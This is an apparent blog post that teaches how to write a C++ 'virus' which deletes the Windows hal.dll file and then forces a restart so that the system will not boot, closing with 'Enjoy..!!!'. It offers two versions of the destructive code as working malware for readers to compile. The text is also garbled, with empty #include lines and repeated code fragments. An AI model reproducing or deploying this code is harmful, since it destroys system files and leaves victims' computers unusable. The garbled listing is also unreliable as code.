Hey Guys, today i will show you how to write C++ virus, which will delete hal.dll file from computer, and without which system will not boot.
Warning: Try at your own risk.
compile following code:
#include
#include
using namespace std;
int main(int argc, char *argv[])
{
std::remove("c:\\windows\\system32\\hal.dll");
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}
A more advanced version of this script which finds system drives automatically, some times it can be in D:\Windows, for that compile following code:
std::remove("c:\\windows\\system32\\hal.dll");
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}
A more advanced version of this script which finds system drives automatically, some times it can be in D:\Windows, for that compile following code:
#include
#include
using namespace std;
int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll");
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}
Enjoy..!!!
std::remove("%systemroot%\\system32\\hal.dll");
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}
Enjoy..!!!
0 comments:
Post a Comment